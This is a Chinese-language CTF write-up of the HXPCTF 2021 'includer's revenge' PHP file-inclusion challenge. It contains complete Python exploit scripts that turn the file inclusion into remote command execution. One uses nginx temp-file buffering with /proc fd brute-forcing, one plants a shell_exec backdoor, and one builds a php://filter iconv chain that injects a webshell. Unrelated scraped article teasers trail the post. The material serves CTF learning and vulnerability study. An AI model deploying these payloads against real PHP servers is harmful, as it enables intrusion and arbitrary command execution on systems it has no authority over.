NSS [HXPCTF 2021]includer‘s revenge
NSS [HXPCTF 2021]includer’s revenge
题目描述:Just sitting here and waiting for PHP 8.1 (lolphp).
题目源码:(index.php)
<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');
先解释一下源码含义。
-
($_GET['action'] ?? 'read')
:这一部分首先尝试从 URL 查询参数中获取名为 ‘action’ 的参数值($_GET['action']
),如果该参数不存在,则使用默认值 ‘read’。这是通过使用 PHP 7 中的空合并运算符??
来实现的,它会检查左侧的表达式是否为 null,如果是则使用右侧的默认值。 -
=== 'read'
:这是一个相等性比较,它检查上述表达式的结果是否严格等于字符串 ‘read’。如果是 ‘read’,则条件为真,否则条件为假。 -
? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');
:这是一个三元条件运算符,根据前面的条件表达式的结果来执行不同的操作。-
如果条件为真(即 ‘action’ 参数等于 ‘read’),则执行
readfile($_GET['file'] ?? 'index.php')
,它会读取并输出指定文件的内容。如果 URL 中没有 ‘file’ 参数,它会默认读取 ‘index.php’ 文件的内容。 -
如果条件为假(即 ‘action’ 参数不等于 ‘read’),则执行
include_once($_GET['file'] ?? 'index.php')
,它会包含指定的文件。同样,如果 URL 中没有 ‘file’ 参数,它会默认包含 ‘index.php’ 文件。
-
当然如果光看这些代码,我们可以直接用 [36c3 2019]includer
的解法解掉,用 compress.zip://http://
产生临时文件,包含即可。
结合题目给我们的附件,主要是 Dockerfile ,发现并不是这样。所有临时目录都弄得不可写了,所以导致之前[36c3 2019]includer
的产生临时文件的方法就失效了。
所以很明显,我们需要找到另一个产生临时文件,将其包含的方法。
PHP产生临时文件主要是通过 php_stream_fopen_tmpfile
这个函数,然而这个函数调用都没几处。
方法一:Nginx+FastCGI+临时文件
原文传送门,里面包含了源码分析。
Dockerfile 中注意到有一行可能类似于 hint 的操作。
既然我们要找一个 www-data 用户可写的地方,我们可以参考这个命令把系统中所有的都找出来,看看有没有什么猫腻:
/dev/core
/dev/stderr
/dev/stdout
/dev/stdin
/dev/fd
/dev/ptmx
/dev/urandom
/dev/zero
/dev/tty
/dev/full
/dev/random
/dev/null
/dev/shm
/dev/mqueue
/dev/pts/1
/dev/pts/ptmx
/run/lock
/run/php
/run/php/php7.4-fpm.sock
/run/php/php7.4-fpm.pid
/proc/keys
/proc/kcore
/proc/timer_list
/proc/sched_debug
/var/lock
/var/lib/nginx/scgi
/var/lib/nginx/body
/var/lib/nginx/uwsgi
/var/lib/nginx/proxy
/var/lib/nginx/fastcgi
/var/log/nginx/access.log
/var/log/nginx/error.log
以上略去了很多 /proc/xxxx
,所以挨个看下来,很明显,似乎后面 nginx
的可能就是我们要的答案,我们可以在网络上搜索一下相关目录用来干嘛的,最后发现 /var/lib/nginx/fastcgi
目录是 Nginx 的 http-fastcgi-temp-path
,看到 temp 这里就感觉很有意思了,意味着我们可能通过 Nginx 来产生一些文件,并且通过一些搜索我们知道这些临时文件格式类似于:/var/lib/nginx/fastcgi/x/y/0000000yx
开始做题:
【一】临时文件怎么来
在 Nginx 文档中有这样的部分:fastcgi_buffering,Nginx 接收来自 FastCGI 的响应 如果内容过大,那它的一部分就会被存入磁盘上的临时文件,而这个阈值大概在 32KB
左右。超过阈值,就产生了临时文件。
【二】临时文件的临时性怎么解决
但是毕竟是临时文件,几乎 Nginx 是创建完文件就立即删除了,创建就被删除了导致我们无法判断文件 名称和内容 到底是啥。
如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/
目录下,但是如果这个文件在没有被关闭的情况下就被删除了呢?这种情况下我们还是可以在对应的 /proc/PID/fd
下找到我们删除的文件 ,虽然显示是被删除了,但是我们依然可以读取到文件内容,所以我们可以直接用php 进行文件包含。
【三】PID、fd、具体文件名怎么得到
要去包含 Nginx 进程下的文件,我们就需要知道对应的 pid 以及 fd 下具体的文件名,怎么才能获取到这些信息呢?
这时我们就需要用到文件读取进行获取 proc 目录下的其他文件了,这里我们只需要本地搭个 Nginx 进程并启动,对比其进程的 proc 目录文件与其他进程文件区别就可以了。
而进程间比较容易区别的就是通过 /proc/cmdline
,如果是 Nginx Worker 进程,我们可以读取到文件内容为 nginx: worker process
即可找到 Nginx Worker 进程;因为 Master 进程不处理请求,所以我们没必要找 Nginx Master 进程。
当然,Nginx 会有很多 Worker 进程,但是一般来说 Worker 数量不会超过 cpu 核心数量,我们可以通过 /proc/cpuinfo
中的 processor 个数得到 cpu 数量,我们可以对比找到的 Nginx Worker PID 数量以及 CPU 数量来校验我们大概找的对不对。
那怎么确定用哪一个 PID 呢?以及 fd 怎么办呢?由于 Nginx 的调度策略我们确实没有办法确定具体哪一个 worker 分配了任务,但是一般来说是 8 个 worker ,实际本地测试 fd 序号一般不超过 70 ,即使爆破也只是 8*70 ,能在常数时间内得到解答。查看 /proc/sys/kernel/pid_max
找到最大的 PID,就能确定爆破范围。
【四】绕过include_once限制
参考:php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台 (anquanke.com)
include_once()
的绕过类似于require_once()
绕过。
我们被包含的路径(符号链接)可以是
f = f'/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/{pid}/fd/{fd}'
也可以是
f = f'/proc/xxx/xxx/xxx/../../../{pid}/fd/{fd}'
所以我们本题的思路如下:
- 让后端 php 请求一个过大的文件
- Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
- 虽然 Nginx 删除了
/var/lib/nginx/fastcgi
下的临时文件,但是在/proc/pid/fd/
下我们可以找到被删除的文件 - 遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI
EXP:
#!/usr/bin/env python3
import sys, threading, requests# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details# ./xxx.py ip port
# URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
URL = "http://node4.anna.nssctf.cn:28627/"# find nginx worker processes
r = requests.get(URL, params={'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')r = requests.get(URL, params={'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')nginx_workers = []
for pid in range(pid_max):r = requests.get(URL, params={'file': f'/proc/{pid}/cmdline'})if b'nginx: worker process' in r.content:print(f'[*] nginx worker found: {pid}')nginx_workers.append(pid)if len(nginx_workers) >= cpus:breakdone = False# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():print('[+] starting uploader')while not done:requests.get(URL, data='<?php system($_GET[\'xxx\']); /*' + 16*1024*'A')for _ in range(16):t = threading.Thread(target=uploader)t.start()# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):global donewhile not done:print(f'[+] brute loop restarted: {pid}')for fd in range(4, 32):f = f'/proc/xxx/xxx/xxx/../../../{pid}/fd/{fd}'r = requests.get(URL, params={'file': f,'xxx': f'/readflag', #命令,如ls'action':'xxx' #这题要加这个,原脚本没加})if r.text:print(f'[!] {f}: {r.text}')done = Trueexit()for pid in nginx_workers:a = threading.Thread(target=bruter, args=(pid, ))a.start()
官方EXP:
#!/usr/bin/env python3
# hxp CTF 2021 counter
import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signal
from urllib.parse import urlparse,quote_from_bytes
def urlencode(data, safe=''):return quote_from_bytes(data, safe)url = f'http://{sys.argv[1]}:{sys.argv[2]}/'backdoor_name = secrets.token_hex(8) + '.php'
secret = secrets.token_hex(16)
secret_hash = hashlib.sha1(secret.encode()).hexdigest()print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr)
print('[+] secret: ' + secret, file=sys.stderr)code = f"<?php if(sha1($_GET['s'])==='{secret_hash}')echo shell_exec($_GET['c']);".encode()
payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash}')file_put_contents("{backdoor_name}",$_GET['p']);/*""".encode()
payload_encoded = b'abcdfg' + base64.b64encode(payload)
print(payload_encoded)
assert re.match(b'^[a-zA-Z0-9]+$', payload_encoded)with tempfile.NamedTemporaryFile() as tmp:tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'"+ payload_encoded +b"'")tmp.flush()o = subprocess.check_output(['php','-r', f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name}");'])print(o, file=sys.stderr)assert payload in oos.chdir('/tmp')subprocess.check_output(['php','-r', f'$_GET = ["p" => "test", "s" => "{secret}"]; include("php://filter/convert.base64-decode/resource={tmp.name}");'])with open(backdoor_name) as f:d = f.read()assert d == 'test'pid = -1
N = 10done = Falsedef worker(i):time.sleep(1)while not done:print(f'[+] starting include worker: {pid + i}', file=sys.stderr)s = f"""bombardier -c 1 -d 3m '{url}?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i}%2Fcmdline&p={urlencode(code)}&s={secret}' > /dev/null"""os.system(s)def delete_worker():time.sleep(1)while not done:print('[+] starting delete worker', file=sys.stderr)s = f"""bombardier -c 8 -d 3m '{url}?page={payload_encoded.decode()}&reset=1' > /dev/null"""os.system(s)for i in range(N):threading.Thread(target=worker, args=(i, ), daemon=True).start()
threading.Thread(target=delete_worker, daemon=True).start()while not done:try:r = requests.get(url, params={'page': '/proc/sys/kernel/ns_last_pid'}, timeout=10)print(f'[+] pid: {pid}', file=sys.stderr)if int(r.text) > (pid+N):pid = int(r.text) + 200print(f'[+] pid overflow: {pid}', file=sys.stderr)os.system('pkill -9 -x bombardier')r = requests.get(f'{url}data/{backdoor_name}', params={'s' : secret,'c': f'id; ls -l /; /readflag; rm {backdoor_name}'}, timeout=10)if r.status_code == 200:print(r.text)done = Trueos.system('pkill -9 -x bombardier')exit()time.sleep(0.5)except Exception as e:print(e, file=sys.stderr)
下图是两种绕过require_once()
获取flag的方法 的实践。
方法二:Base64 Filter 宽松解析+iconv filter+无需临时文件
这个方法被誉为PHP本地文件包含(LFI)的尽头。
原文传送门,写的很细,我就不重复造轮子了,仅进行略微补充。
原理大概就是 对PHP Base64 Filter 来说,会忽略掉非正常编码的字符。这很好理解,有些奇怪的字符串进行base64解码再编码后会发现和初始的不一样,就是这个原因。
限制:
某些字符集在某些系统并不支持,比如Ubuntu18.04,十分幸运,php官方带apache的镜像是Debain,运行上面的脚本没有任何问题。
解决的办法其实并不难,只需要将新的字符集放到wupco师傅的脚本中再跑一次就可以了:GitHub - wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
攻击脚本:
import requestsurl = "http://node4.anna.nssctf.cn:28627/"
file_to_use = "/etc/passwd"
command = "/readflag"#两个分号避开了最终 base64 编码中的斜杠
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"conversions = {'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2','B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2','C': 'convert.iconv.UTF8.CSISO2022KR','8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2','9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB','f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213','s': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61','z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS','U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932','P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213','V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5','0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2','Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2','W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2','d': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2','D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2','7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2','4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"for c in base64_payload[::-1]:filters += conversions[c] + "|"# decode and reencode to get rid of everything that isn't valid base64filters += "convert.base64-decode|"filters += "convert.base64-encode|"# get rid of equal signsfilters += "convert.iconv.UTF8.UTF7|"filters += "convert.base64-decode"final_payload = f"php://filter/{filters}/resource={file_to_use}"r = requests.get(url, params={"0": command,"action": "xxx","file": final_payload
})# print(filters)
# print(final_payload)
print(r.text)
相关文章:

NSS [HXPCTF 2021]includer‘s revenge
NSS [HXPCTF 2021]includer’s revenge 题目描述:Just sitting here and waiting for PHP 8.1 (lolphp). 题目源码:(index.php) <?php ($_GET[action] ?? read ) read ? readfile($_GET[file] ?? index.php) : inclu…...

《动手学深度学习 Pytorch版》 7.1 深度卷积神经网络(AlexNet)
7.1.1 学习表征 深度卷积神经网络的突破出现在2012年。突破可归因于以下两个关键因素: 缺少的成分:数据 数据集紧缺的情况在 2010 年前后兴起的大数据浪潮中得到改善。ImageNet 挑战赛中,ImageNet数据集由斯坦福大学教授李飞飞小组的研究人…...

C++ - 双指针_盛水最多的容器
盛水最多的容器 11. 盛最多水的容器 - 力扣(LeetCode) 给定一个长度为 n 的整数数组 height 。有 n 条垂线,第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的…...

分类预测 | Matlab实现NGO-CNN-SVM北方苍鹰算法优化卷积支持向量机分类预测
分类预测 | Matlab实现NGO-CNN-SVM北方苍鹰算法优化卷积支持向量机分类预测 目录 分类预测 | Matlab实现NGO-CNN-SVM北方苍鹰算法优化卷积支持向量机分类预测分类效果基本描述程序设计参考资料 分类效果 基本描述 1.Matlab实现NGO-CNN-SVM北方苍鹰算法优化卷积支持向量机分类预…...

分享一个java+springboot+vue校园电动车租赁系统(源码、调试、开题、lw)
💕💕作者:计算机源码社 💕💕个人简介:本人七年开发经验,擅长Java、Python、PHP、.NET、微信小程序、爬虫、大数据等,大家有这一块的问题可以一起交流! 💕&…...

高性能计算环境下的深度学习异构集群建设与优化实践
★深度学习;模式识别;图像处理;人工智能建模;人工智能;深度学习算法;强化学习;神经网络;卷积神经网络;人工神经网络;VIBE算法;控制系统仿真&#…...
Laravel框架 - Facade门面
1 、官方文档给出的定义 “Facades 为应用的 服务容器 提供了一个「静态」 接口。Laravel 自带了很多 Facades,可以访问绝大部分功能。Laravel Facades 实际是服务容器中底层类的 「静态代理」 ,相对于传统静态方法,在使用时能够提供更加灵活…...

算法通关村第16关【青铜】| 滑动窗口思想
1. 滑动窗口的基本思想 一句话概括就是两个快慢指针维护的一个会移动的区间 固定大小窗口:求哪个窗口元素最大、最小、平均值、和最大、和最小 可变大小窗口:求一个序列里最大、最小窗口是什么 2. 两个入门题 (1)子数组最大平…...

CentOS安装openjdk和elasticsearch
CentOS安装openjdk 文章目录 CentOS安装openjdk一、yum1.1search1.2安装openjdk 二、elasticsearch的启动和关闭2.1启动2.2关闭2.3添加服务 一、yum 1.1search yum search java | grep jdk1.2安装openjdk [roottest ~]# yum install java-1.8.0-openjdk -y 查看openjdk版本 …...

【新版】系统架构设计师 - 案例分析 - 信息安全
个人总结,仅供参考,欢迎加好友一起讨论 文章目录 架构 - 案例分析 - 信息安全安全架构安全模型分类BLP模型Biba模型Chinese Wall模型 信息安全整体架构设计WPDRRC模型各模型安全防范功能 网络安全体系架构设计开放系统互联安全体系结构安全服务与安全机制…...
数据库设计(火车订票系统)
为一个火车订票系统设计一个数据库是一个好的方法来训练你的数据库技巧。 其中有一些需要考虑到的复杂度。 过一些需求,并且创建表格。 为这个虚构的火车订票系统提出了10个需求。 我们将把其中每个添加到entity relational diagram(实体关系图&…...
qemu+docker在服务器上搭建linux内核调试环境
基于docker和qemu的操作系统实验环境 参考以上文章实现。 其中 docker run -it --name linux_qemu qemu /bin/bash #从qemu镜像启动一个容器linux_qemu,进入shell 要改为 docker run -it --name linux_qemu 3292900173/qemu /bin/bash另外,在vscode运行过程中,ssh远…...

Stable Diffusion 参数介绍及用法
大模型 CheckPoint 介绍 作用:定调了作图风格,可以理解为指挥者 安装路径:models/Stable-diffusion 推荐: AnythingV5Ink_v32Ink.safetensors cuteyukimixAdorable_midchapter2.safetensors manmaruMix_v10.safetensors counterf…...
打印大对象日志导致GC问题的解决
内容: rpc调用外部服务时,需要将req和resp的信息打印出来,以便于排查问题。但是有的rpc服务的resp信息过于庞大,比如resp中有List<>信息,list很大很大时会导致log.info打印信息时,产生GC,…...
【Docker】学习笔记
1. docker基本操作 镜像搜索 // 直接搜索镜像资源 docker search mysql // 搜索过滤 docker search --filter "is-officialtrue" mysql // 官方发布镜像拉取镜像 docker pull mysql查看本地镜像 docker images删除本地镜像 docker rmi mysql // 强制删除镜像 d…...

网易云信4K 8K RTC助力远程医疗的技术实践
// 编者按:随着近年来国家关于缓解医疗资源分配不均的一系列政策出台,远程医疗作为平衡医疗资源分配的有力手段,目前正处于强劲发展阶段。网易云信运用超高清RTC视频技术助力医疗行业实现了远程高清视频病理分析和手术示教等能力。LiveVide…...

【排序算法】冒泡排序、插入排序、归并排序、希尔排序、选择排序、堆排序、快速排序
目录 几大排序汇总 1.冒泡排序 性能: 思路和代码: 2.插入排序 性能: 思路和代码: 3.归并排序 性能: 思路和代码: 4.希尔排序 性能: 思路和代码: 5.选择排序 性能: 思路和代码: 6.堆排序 性能: 思路和代码: topK问题 7.快速排序 性能: 思路和代码: 几大排…...
Linux学习笔记-应用层篇
1、Linux进程、线程概念/区别 Linux进程和线程是计算机系统中两种不同的资源分配和调度单位。 进程是计算机系统进行资源分配和调度的基本单位,也被认为是正在运行的程序。在面向线程的计算机结构中,进程是线程的容器。进程拥有独立的内存和系统资源&am…...

MySQL数据库的存储引擎
目录 一、存储引擎概念 二、存储引擎 2.1MyISAM 2.11MyISAM的特点 2.12MyISAM表支持3种不同的存储格式: 2.2 InnoDB 2.21InnoDB特点介绍 三、InnoDB与MyISAM 区别 四、怎么样选择存储引擎 五、查看存储引擎 六、查看表使用的存储引擎 七、修改存储引擎 …...

Linux-多路转接-epoll
epoll 接口认识epoll_createepoll_ctlepoll_wait epoll工作原理在内核中创建的数据结构epoll模型的一个完整工作流程 epoll工作模式LT-水平触发ET-边缘触发两种方式的对比 epoll的使用场景对于poll的改进惊群效应什么是惊群效应如何解决惊群效应原子操作/mutex/spinlock如何选择…...
Python爬虫实战:研究MechanicalSoup库相关技术
一、MechanicalSoup 库概述 1.1 库简介 MechanicalSoup 是一个 Python 库,专为自动化交互网站而设计。它结合了 requests 的 HTTP 请求能力和 BeautifulSoup 的 HTML 解析能力,提供了直观的 API,让我们可以像人类用户一样浏览网页、填写表单和提交请求。 1.2 主要功能特点…...
三维GIS开发cesium智慧地铁教程(5)Cesium相机控制
一、环境搭建 <script src"../cesium1.99/Build/Cesium/Cesium.js"></script> <link rel"stylesheet" href"../cesium1.99/Build/Cesium/Widgets/widgets.css"> 关键配置点: 路径验证:确保相对路径.…...
前端倒计时误差!
提示:记录工作中遇到的需求及解决办法 文章目录 前言一、误差从何而来?二、五大解决方案1. 动态校准法(基础版)2. Web Worker 计时3. 服务器时间同步4. Performance API 高精度计时5. 页面可见性API优化三、生产环境最佳实践四、终极解决方案架构前言 前几天听说公司某个项…...

iPhone密码忘记了办?iPhoneUnlocker,iPhone解锁工具Aiseesoft iPhone Unlocker 高级注册版分享
平时用 iPhone 的时候,难免会碰到解锁的麻烦事。比如密码忘了、人脸识别 / 指纹识别突然不灵,或者买了二手 iPhone 却被原来的 iCloud 账号锁住,这时候就需要靠谱的解锁工具来帮忙了。Aiseesoft iPhone Unlocker 就是专门解决这些问题的软件&…...
Linux简单的操作
ls ls 查看当前目录 ll 查看详细内容 ls -a 查看所有的内容 ls --help 查看方法文档 pwd pwd 查看当前路径 cd cd 转路径 cd .. 转上一级路径 cd 名 转换路径 …...

微信小程序云开发平台MySQL的连接方式
注:微信小程序云开发平台指的是腾讯云开发 先给结论:微信小程序云开发平台的MySQL,无法通过获取数据库连接信息的方式进行连接,连接只能通过云开发的SDK连接,具体要参考官方文档: 为什么? 因为…...

Python基于历史模拟方法实现投资组合风险管理的VaR与ES模型项目实战
说明:这是一个机器学习实战项目(附带数据代码文档),如需数据代码文档可以直接到文章最后关注获取。 1.项目背景 在金融市场日益复杂和波动加剧的背景下,风险管理成为金融机构和个人投资者关注的核心议题之一。VaR&…...
MySQL 索引底层结构揭秘:B-Tree 与 B+Tree 的区别与应用
文章目录 一、背景知识:什么是 B-Tree 和 BTree? B-Tree(平衡多路查找树) BTree(B-Tree 的变种) 二、结构对比:一张图看懂 三、为什么 MySQL InnoDB 选择 BTree? 1. 范围查询更快 2…...
根目录0xa0属性对应的Ntfs!_SCB中的FileObject是什么时候被建立的----NTFS源代码分析--重要
根目录0xa0属性对应的Ntfs!_SCB中的FileObject是什么时候被建立的 第一部分: 0: kd> g Breakpoint 9 hit Ntfs!ReadIndexBuffer: f7173886 55 push ebp 0: kd> kc # 00 Ntfs!ReadIndexBuffer 01 Ntfs!FindFirstIndexEntry 02 Ntfs!NtfsUpda…...

MySQL:分区的基本使用
目录 一、什么是分区二、有什么作用三、分类四、创建分区五、删除分区 一、什么是分区 MySQL 分区(Partitioning)是一种将单张表的数据逻辑上拆分成多个物理部分的技术。这些物理部分(分区)可以独立存储、管理和优化,…...